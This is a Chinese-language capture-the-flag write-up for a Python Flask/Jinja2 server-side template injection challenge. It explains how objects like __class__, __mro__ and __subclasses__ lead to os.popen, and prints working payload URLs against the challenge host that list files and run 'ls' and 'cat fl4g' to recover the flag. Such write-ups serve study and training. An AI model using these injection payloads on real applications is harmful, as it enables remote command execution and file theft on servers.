Web_python_template_injection
o(╥﹏╥)o從這里開始題目就變得有點詭譎了
網上搜索相關教程的確是一知半解,大概參考了如下和最后的WP:
http://shaobaobaoer.cn/archives/660/python-flask-jinja-ssti
https://xz.aliyun.com/t/3679#toc-8 (這篇講的特別好)
https://blog.csdn.net/sxingming/article/details/52071514
https://www.cnblogs.com/tr1ple/p/9415641.html
https://www.freebuf.com/column/187845.html
簡單來說還就是代碼不規范導致的,渲染函數render_template_string,在
使用%s
來替換字符串的時候,會把字符串中被{{}}
包圍內容當作變量解析
首先,題目告訴我們這是一個 python 注入問題,那么腳本肯定也是 python 的,思 考怎樣用 python 語句獲取控制台權限:想到了 `os.system` 和 `os.popen`, 這兩句前 者返回 **退出狀態碼** , 后者 **以 file 形式** 返回 **輸出內容**, 我們想要的是 內容,所所以選擇 `os.popen`
知道了要用這一句,那么我要怎么找到這一句呢?
__class__ : 返回對象所屬的類
__mro__ : 返回一個類所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__ : 返回該類所繼承的基類
__base__和__mro__都是用來尋找基類的
__subclasses__ : 每個新類都保留了子類的引用,這個方法返回一個 類中仍然可用的的引用的列表
__init__ : 類的初始化方法
__globals__ : 對包含函數全局變量的字典的引用
首先,找到當前變量所在的類:
http://159.138.137.79:56645/{{''.__class__}}
得到類:<type 'str'>
接下來查看他的基類:
http://159.138.137.79:56645/{{''.__class__.__mro__}}
得到基類:<type 'str'>, <type 'basestring'>, <type 'object'>
然后,通過基類來找其中任意一個基類的引用列表
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()}} ps:mro里面不能不填,測試mro2和mro-1均能彈出來列表,其他的不行
找到Site_Printer() 位於第72位:所以:__subclasses__()[71]
直接使用listdir函數列出當前的文件,並搜索可能存在的flag文件或者:通過 `` 來 調用服務器的控制台並顯示
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
返回:
URL http://159.138.137.79:56645/['index.py', 'fl4g'] not found
得到名字以后使用文件名.read()的方式讀取:
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
獲得:URL http://159.138.137.79:56645/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found
得到flag